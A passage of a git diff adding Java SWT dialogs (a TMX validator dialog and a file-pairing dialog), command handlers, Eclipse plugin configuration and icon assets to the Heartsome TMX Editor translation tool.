net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.utils.tmxvalidator.TmxValidator; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * Dialog + * @author austen 2013-08-14 + * @version + * @since JDK1.6 + */ + +public class TmxValidatorDialog extends HsAbstractProgressDialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(TmxValidatorDialog.class); + + private Text txtTmxFilePath; + private StyledText styledText; + + private Button btnVerifyTmxFile; + + public TmxValidatorDialog(Shell parentShell) { + super(parentShell); + } + + @Override + public Composite createClientArea(Composite composite) { + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(composite); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(composite); + + // row + Label lblTmxFile = new Label(composite, SWT.NONE); + lblTmxFile.setText(Messages.getString("dialog.TmxValidatorDialog.label.tmxfile")); + txtTmxFilePath = new Text(composite, SWT.BORDER); + txtTmxFilePath.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false)); + txtTmxFilePath.addModifyListener(new ModifyListener() { + @Override + public void modifyText(ModifyEvent e) { + File file = new File(txtTmxFilePath.getText()); + getButton(IDialogConstants.OK_ID).setEnabled(file.exists()); + } + }); + Button btnBrowse = new Button(composite, SWT.NONE); + btnBrowse.setText(Messages.getString("newtmx.NewTmxFileDialog.browseBtn")); + btnBrowse.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + openFile(); + } + });// end row + + // row + styledText = new StyledText(composite, SWT.BORDER | SWT.MULTI | SWT.V_SCROLL | SWT.WRAP | SWT.READ_ONLY); + styledText.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 3, 1)); + styledText.setText(""); // end row + + return composite; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TmxValidatorDialog.label.tmxtitle")); + } + + @Override + protected Point getInitialSize() { + return new Point(600, 400); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + btnVerifyTmxFile = createButton(parent, IDialogConstants.OK_ID, + Messages.getString("dialog.TmxValidatorDialog.label.verify"), true); + btnVerifyTmxFile.setEnabled(false); + } + + @Override + protected void okPressed() { + styledText.setText(""); + final String tmxFilePath = txtTmxFilePath.getText(); + try { + run(isFork(), canCancel(), new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + TmxValidator validator = new TmxValidator(monitor); + validator.setReport(true); + validator.setNormalize(true); + validator.setDebug(true); + validator.setStyledText(styledText); + validator.validate(tmxFilePath); + } + }); + } catch (Exception e) { + LOGGER.error("", e); + OpenMessageUtils.openMessage(IStatus.ERROR, e.getMessage()); + } + } + + @Override + public String getDisplayHelpUrl() { + return ""; + } + + private void openFile() { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + String[] extensions = { "*.tmx" }; //$NON-NLS-1$ //$NON-NLS-2$ + fd.setFilterExtensions(extensions); + String[] names = { Messages.getString("dialog.TmxValidatorDialog.label.tmxex") }; + /* Messages.getString("dialog.TmxValidatorDialog.label.allex" */ + fd.setFilterNames(names); + String path = fd.open(); + txtTmxFilePath.setText(path == null ? "" : path); + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/handler/OpenOptionDialogHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/handler/OpenOptionDialogHandler.java new file mode 100644 index 0000000..0876d6e --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/handler/OpenOptionDialogHandler.java @@ -0,0 +1,44 @@ +/** + * OpenOptionDialogHandler.java + * + * Version information : + * + * Date:2013-8-12 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.tool.handler; + + +import net.heartsome.cat.te.ui.preferencepage.util.PreferenceUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class OpenOptionDialogHandler extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + if (window != null) { + PreferenceUtil.openPreferenceDialog(window, null); + } + + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/handler/PairFileHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/handler/PairFileHandler.java new file mode 100644 index 0000000..7d45362 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/handler/PairFileHandler.java @@ -0,0 +1,44 @@ +/** + * PairFileHandler.java + * + * Version information : + * + * Date:2013-8-22 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.tool.handler; + +import net.heartsome.cat.te.core.bean.PairFileBean; +import net.heartsome.cat.te.ui.tool.ui.PairFileDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class PairFileHandler extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + PairFileBean bean = new PairFileBean(); + PairFileDialog dialog = new PairFileDialog(HandlerUtil.getActiveShell(event), bean); + if (Dialog.OK == dialog.open()) { + + } + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/ui/PairFileDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/ui/PairFileDialog.java new file mode 100644 index 0000000..0cf2315 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/tool/ui/PairFileDialog.java @@ -0,0 +1,256 @@ +package net.heartsome.cat.te.ui.tool.ui; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.te.core.bean.PairFileBean; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.layout.FillLayout; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +public class PairFileDialog extends Dialog { + + private List langstore = new ArrayList(LocaleService.getDefaultLanguage().values()); + private PairFileBean bean; + + private Text txt1File; + private Text txt2File; + private Text txtSaveAs; + private TableComboViewer tcv1Lang; + private TableComboViewer tcv2Lang; + private boolean machineTrans = false; + private Button btnOpenEditor; + + Color colorlblMachine = Display.getCurrent().getSystemColor(SWT.COLOR_BLUE); + + /** + * Create the dialog. + * @param parentShell + * @param bean + */ + public PairFileDialog(Shell parentShell, PairFileBean bean) { + super(parentShell); + this.bean = bean; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.PairFileDialog.title")); + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Composite cmpFileChose = new Composite(container, SWT.NONE); + cmpFileChose.setLayoutData(GridDataFactory.createFrom(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)).hint(800, SWT.DEFAULT).create()); + cmpFileChose.setLayout(new FillLayout(SWT.HORIZONTAL)); + + Group group1File = new Group(cmpFileChose, SWT.NONE); + group1File.setText(Messages.getString("dialog.PairFileDialog.srcGroupFile.lbl")); + group1File.setToolTipText(""); + group1File.setLayout(new GridLayout(3, false)); + + Label lbl1File = new Label(group1File, SWT.NONE); + lbl1File.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + lbl1File.setText(Messages.getString("dialog.PairFileDialog.srcGroup.File")); + + txt1File = new Text(group1File, SWT.BORDER | SWT.READ_ONLY); + txt1File.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Button btn1FileBrowse = new Button(group1File, SWT.NONE); + btn1FileBrowse.setText(Messages.getString("dialog.PairFileDialog.srcGroup.brower")); + btn1FileBrowse.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + txt1File.setText(openFile()); + + } + }); + + Label lbl1Lang = new Label(group1File, SWT.NONE); + lbl1Lang.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + lbl1Lang.setText(Messages.getString("dialog.PairFileDialog.srcGroup.lang")); + + tcv1Lang = new TableComboViewer(group1File, SWT.READ_ONLY | SWT.BORDER); + final TableCombo tc1 = tcv1Lang.getTableCombo(); + tc1.setShowTableLines(false); + tc1.setShowTableHeader(false); + tc1.setDisplayColumnIndex(-1); + tc1.setShowImageWithinSelection(true); + tc1.setShowColorWithinSelection(false); + tc1.setShowFontWithinSelection(false); + tc1.setVisibleItemCount(20); + tc1.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tcv1Lang.setLabelProvider(new LanguageLabelProvider()); + tcv1Lang.setContentProvider(new ArrayContentProvider()); + tcv1Lang.setInput(langstore); + + Group group2File = new Group(cmpFileChose, SWT.NONE); + group2File.setText(Messages.getString("dialog.PairFileDialog.tgtGroupFile.lbl")); + group2File.setLayout(new GridLayout(3, false)); + + Label lbl2File = new Label(group2File, SWT.NONE); + lbl2File.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + lbl2File.setText(Messages.getString("dialog.PairFileDialog.tgtGroup.File")); + + txt2File = new Text(group2File, SWT.BORDER | SWT.READ_ONLY); + txt2File.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Button btn2FileBrowse = new Button(group2File, SWT.NONE); + btn2FileBrowse.setText(Messages.getString("dialog.PairFileDialog.tgtGroup.brower")); + btn2FileBrowse.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + txt2File.setText(openFile()); + } + }); + + Label lbl2Lang = new Label(group2File, SWT.NONE); + lbl2Lang.setText(Messages.getString("dialog.PairFileDialog.tgtGroup.lang")); + + tcv2Lang = new TableComboViewer(group2File, SWT.READ_ONLY | SWT.BORDER); + final TableCombo tc2 = tcv2Lang.getTableCombo(); + tc2.setShowTableLines(false); + tc2.setShowTableHeader(false); + tc2.setDisplayColumnIndex(-1); + tc2.setShowImageWithinSelection(true); + tc2.setShowColorWithinSelection(false); + tc2.setShowFontWithinSelection(false); + tc2.setVisibleItemCount(20); + tc2.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tcv2Lang.setLabelProvider(new LanguageLabelProvider()); + tcv2Lang.setContentProvider(new ArrayContentProvider()); + tcv2Lang.setInput(langstore); + + Composite cmpSaveAs = new Composite(container, SWT.NONE); + cmpSaveAs.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + cmpSaveAs.setLayout(new GridLayout(3, false)); + + Label lblSaveAs = new Label(cmpSaveAs, SWT.NONE); + lblSaveAs.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + lblSaveAs.setText(Messages.getString("dialog.PairFileDialog.saveAsPath")); + + txtSaveAs = new Text(cmpSaveAs, SWT.BORDER | SWT.READ_ONLY); + txtSaveAs.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Button btnBrowseSaveAs = new Button(cmpSaveAs, SWT.NONE); + btnBrowseSaveAs.setText(Messages.getString("dialog.PairFileDialog.saveAsBrower")); + btnBrowseSaveAs.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + getSaveURI(); + } + }); + + Composite cmpMachineTrans = new Composite(container, SWT.NONE); + cmpMachineTrans.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + cmpMachineTrans.setLayout(new GridLayout(2, false)); + + Label lblMachineTrans = new Label(cmpMachineTrans, SWT.NONE); + lblMachineTrans.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + lblMachineTrans.setText(Messages.getString("dialog.PairFileDialog.start.mechieTranslate")); + + final Button btnMachineTrans = new Button(cmpMachineTrans, SWT.NONE); + btnMachineTrans.setText(Messages.getString("dialog.PairFileDialog.start")); + btnMachineTrans.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (machineTrans = !machineTrans) { + btnMachineTrans.setText(Messages.getString("dialog.PairFileDialog.aready.start")); + } else { + btnMachineTrans.setText(Messages.getString("dialog.PairFileDialog.start")); + } + } + }); + + Composite cmpOpenInTmxEditor = new Composite(container, SWT.NONE); + cmpOpenInTmxEditor.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + cmpOpenInTmxEditor.setLayout(new FillLayout(SWT.HORIZONTAL)); + + btnOpenEditor = new Button(cmpOpenInTmxEditor, SWT.CHECK); + btnOpenEditor.setText(Messages.getString("dialog.PairFileDialog.openTmx")); + + Label seprator = new Label(container, SWT.SEPARATOR | SWT.HORIZONTAL); + seprator.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + return container; + } + + protected String openFile() { + FileDialog dialog = new FileDialog(getParentShell().getShell(), SWT.OPEN); + String path = dialog.open(); + return path == null ? "" : path; + } + + protected void getSaveURI() { + FileDialog dialog = new FileDialog(getParentShell(), SWT.SAVE); + dialog.setFilterExtensions(new String[] { "*.tmx" }); + dialog.setOverwrite(true); + String path = dialog.open(); + if (path != null) { + txtSaveAs.setText(path); + } + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + } + + @Override + public boolean close() { + if (!colorlblMachine.isDisposed()) { + colorlblMachine.dispose(); + } + colorlblMachine = null; + return super.close(); + } + + @Override + protected void okPressed() { + bean.setSavePath(txtSaveAs.getText()); + bean.setSrcLanguage((Language)((StructuredSelection)tcv1Lang.getSelection()).getFirstElement()); + bean.setSrcPath(txt1File.getText()); + bean.setTgtLanguage((Language)((StructuredSelection)tcv2Lang.getSelection()).getFirstElement()); + bean.setTgtPath(txt2File.getText()); + bean.setMachineTrans(machineTrans); + bean.setOpenAfterPair(btnOpenEditor.getSelection()); + super.okPressed(); + } +} diff --git a/te/net.heartsome.cat.te/.classpath b/te/net.heartsome.cat.te/.classpath new file mode 100644 index 0000000..8a8f166 --- /dev/null +++ b/te/net.heartsome.cat.te/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/te/net.heartsome.cat.te/.project b/te/net.heartsome.cat.te/.project new file mode 100644 index 0000000..8e78ac6 --- /dev/null +++ b/te/net.heartsome.cat.te/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.te + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/te/net.heartsome.cat.te/.settings/org.eclipse.jdt.core.prefs b/te/net.heartsome.cat.te/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..a5cccfa --- /dev/null +++ b/te/net.heartsome.cat.te/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Mon May 20 17:34:15 CST 2013 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/te/net.heartsome.cat.te/META-INF/MANIFEST.MF b/te/net.heartsome.cat.te/META-INF/MANIFEST.MF new file mode 100644 index 0000000..cc45212 --- /dev/null +++ b/te/net.heartsome.cat.te/META-INF/MANIFEST.MF @@ -0,0 +1,19 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TE +Bundle-SymbolicName: net.heartsome.cat.te; singleton:=true +Bundle-Version: 8.0.0.R8b_v20140106 +Bundle-Activator: net.heartsome.cat.te.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.te.tmxeditor;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0", + net.heartsome.cat.te.ui;bundle-version="1.0.0", + net.heartsome.cat.p2update;bundle-version="8.0.1" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.te.core, + net.heartsome.cat.te.core.utils diff --git a/te/net.heartsome.cat.te/about.mappings b/te/net.heartsome.cat.te/about.mappings new file mode 100644 index 0000000..1a9bc0c --- /dev/null +++ b/te/net.heartsome.cat.te/about.mappings @@ -0,0 +1,3 @@ +0=$version$ +1=$date$ +2=Heartsome TMX Editor diff --git a/te/net.heartsome.cat.te/build.properties b/te/net.heartsome.cat.te/build.properties new file mode 100644 index 0000000..a9c3e33 --- /dev/null +++ b/te/net.heartsome.cat.te/build.properties @@ -0,0 +1,13 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + images/,\ + plugin_customization.ini,\ + splash.bmp,\ + helpData.xml,\ + about.mappings,\ + plugin_en.properties,\ + plugin_zh.properties,\ + plugin.properties diff --git a/te/net.heartsome.cat.te/helpData.xml b/te/net.heartsome.cat.te/helpData.xml new file mode 100644 index 0000000..84fd688 --- /dev/null +++ b/te/net.heartsome.cat.te/helpData.xml @@ -0,0 +1,29 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/te/net.heartsome.cat.te/images/edit/copy.png b/te/net.heartsome.cat.te/images/edit/copy.png new file mode 100644 index 0000000..940c99e Binary files /dev/null and b/te/net.heartsome.cat.te/images/edit/copy.png differ diff --git a/te/net.heartsome.cat.te/images/edit/cut.png b/te/net.heartsome.cat.te/images/edit/cut.png new file mode 100644 index 0000000..d157966 Binary files /dev/null and b/te/net.heartsome.cat.te/images/edit/cut.png differ diff --git a/te/net.heartsome.cat.te/images/edit/delete.png b/te/net.heartsome.cat.te/images/edit/delete.png new file mode 100644 index 0000000..ea445dc Binary files /dev/null and b/te/net.heartsome.cat.te/images/edit/delete.png differ diff --git a/te/net.heartsome.cat.te/images/edit/paste.png b/te/net.heartsome.cat.te/images/edit/paste.png new file mode 100644 index 0000000..24de517 Binary files /dev/null and b/te/net.heartsome.cat.te/images/edit/paste.png differ diff --git a/te/net.heartsome.cat.te/images/edit/redo.png b/te/net.heartsome.cat.te/images/edit/redo.png new file mode 100644 index 0000000..2133ef5 Binary files /dev/null and b/te/net.heartsome.cat.te/images/edit/redo.png differ diff --git a/te/net.heartsome.cat.te/images/edit/search_replace.png b/te/net.heartsome.cat.te/images/edit/search_replace.png new file mode 100644 index 0000000..1a8dac4 Binary files /dev/null and b/te/net.heartsome.cat.te/images/edit/search_replace.png differ diff --git a/te/net.heartsome.cat.te/images/edit/undo.png b/te/net.heartsome.cat.te/images/edit/undo.png new file mode 100644 index 0000000..dbce811 Binary files /dev/null and b/te/net.heartsome.cat.te/images/edit/undo.png differ diff --git a/te/net.heartsome.cat.te/images/file/logout.png b/te/net.heartsome.cat.te/images/file/logout.png new file mode 100644 index 0000000..dc2a74c Binary files /dev/null and b/te/net.heartsome.cat.te/images/file/logout.png differ diff --git a/te/net.heartsome.cat.te/images/file/new-project.png b/te/net.heartsome.cat.te/images/file/new-project.png new file mode 100644 index 0000000..01b98d3 Binary files /dev/null and b/te/net.heartsome.cat.te/images/file/new-project.png differ diff --git a/te/net.heartsome.cat.te/images/file/save.png b/te/net.heartsome.cat.te/images/file/save.png new file mode 100644 index 0000000..308579b Binary files /dev/null and b/te/net.heartsome.cat.te/images/file/save.png differ diff --git a/te/net.heartsome.cat.te/images/file/saveall.gif b/te/net.heartsome.cat.te/images/file/saveall.gif new file mode 100644 index 0000000..ef0eab5 Binary files /dev/null and b/te/net.heartsome.cat.te/images/file/saveall.gif differ diff --git a/te/net.heartsome.cat.te/images/help/aboutIcon.png b/te/net.heartsome.cat.te/images/help/aboutIcon.png new file mode 100644 index 0000000..bb46929 Binary files /dev/null and b/te/net.heartsome.cat.te/images/help/aboutIcon.png differ diff --git a/te/net.heartsome.cat.te/images/help/help.png b/te/net.heartsome.cat.te/images/help/help.png new file mode 100644 index 0000000..73f353c Binary files /dev/null and b/te/net.heartsome.cat.te/images/help/help.png differ diff --git a/te/net.heartsome.cat.te/images/help/key.png b/te/net.heartsome.cat.te/images/help/key.png new file mode 100644 index 0000000..ad8b80c Binary files /dev/null and b/te/net.heartsome.cat.te/images/help/key.png differ diff --git a/te/net.heartsome.cat.te/images/help/licence.png b/te/net.heartsome.cat.te/images/help/licence.png new file mode 100644 index 0000000..d11f797 Binary files /dev/null and b/te/net.heartsome.cat.te/images/help/licence.png differ diff --git a/te/net.heartsome.cat.te/images/help/update.png b/te/net.heartsome.cat.te/images/help/update.png new file mode 100644 index 0000000..71951f7 Binary files /dev/null and b/te/net.heartsome.cat.te/images/help/update.png differ diff --git a/te/net.heartsome.cat.te/images/tmx_128.png b/te/net.heartsome.cat.te/images/tmx_128.png new file mode 100644 index 0000000..77deee7 Binary files /dev/null and b/te/net.heartsome.cat.te/images/tmx_128.png differ diff --git a/te/net.heartsome.cat.te/images/tmx_16.png b/te/net.heartsome.cat.te/images/tmx_16.png new file mode 100644 index 0000000..bd20b51 Binary files /dev/null and b/te/net.heartsome.cat.te/images/tmx_16.png differ diff --git a/te/net.heartsome.cat.te/images/tmx_32.png b/te/net.heartsome.cat.te/images/tmx_32.png new file mode 100644 index 0000000..c1d2b46 Binary files /dev/null and b/te/net.heartsome.cat.te/images/tmx_32.png differ diff --git a/te/net.heartsome.cat.te/images/tmx_48.png b/te/net.heartsome.cat.te/images/tmx_48.png new file mode 100644 index 0000000..6827b1d Binary files /dev/null and b/te/net.heartsome.cat.te/images/tmx_48.png differ diff --git a/te/net.heartsome.cat.te/images/tmx_64.png b/te/net.heartsome.cat.te/images/tmx_64.png new file mode 100644 index 0000000..7d96d8f Binary files /dev/null and b/te/net.heartsome.cat.te/images/tmx_64.png differ diff --git a/te/net.heartsome.cat.te/plugin.properties b/te/net.heartsome.cat.te/plugin.properties new file mode 100644 index 0000000..0d94dae --- /dev/null +++ b/te/net.heartsome.cat.te/plugin.properties @@ -0,0 +1,6 @@ +about={2}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2013 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n diff --git a/te/net.heartsome.cat.te/plugin.xml b/te/net.heartsome.cat.te/plugin.xml new file mode 100644 index 0000000..558e2ba --- /dev/null +++ b/te/net.heartsome.cat.te/plugin.xml @@ -0,0 +1,62 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te/plugin_customization.ini b/te/net.heartsome.cat.te/plugin_customization.ini new file mode 100644 index 0000000..1122cda --- /dev/null +++ b/te/net.heartsome.cat.te/plugin_customization.ini @@ -0,0 +1,9 @@ +org.eclipse.ui/DOCK_PERSPECTIVE_BAR=topRight +org.eclipse.ui/SHOW_TRADITIONAL_STYLE_TABS=false +org.eclipse.ui/USE_COLORED_LABELS=false +org.eclipse.ui/VIEW_MINIMUM_CHARACTERS=2 +org.eclipse.ui/VIEW_TAB_POSITION=SWT.BOTTOM +org.eclipse.ui/KEY_CONFIGURATION_ID=net.heartsome.cat.common.ui.shield.defaultAcceleratorConfiguration +org.eclipse.help/HELP_DATA=helpData.xml +org.eclipse.ui/SHOW_PROGRESS_ON_STARTUP = true +org.eclipse.ui/SHOW_MEMORY_MONITOR = true \ No newline at end of file diff --git a/te/net.heartsome.cat.te/plugin_en.properties b/te/net.heartsome.cat.te/plugin_en.properties new file mode 100644 index 0000000..8e84034 --- /dev/null +++ b/te/net.heartsome.cat.te/plugin_en.properties @@ -0,0 +1,6 @@ +about={2}\n\ +Version: {0} Build {1}\n\n\ +Product Home: http://www.heartsome.net\n\ +Technical Support: http://www.heartsome.net/EN/support.html\n\n\ +Copyright (C) 2013 Heartsome Technologies 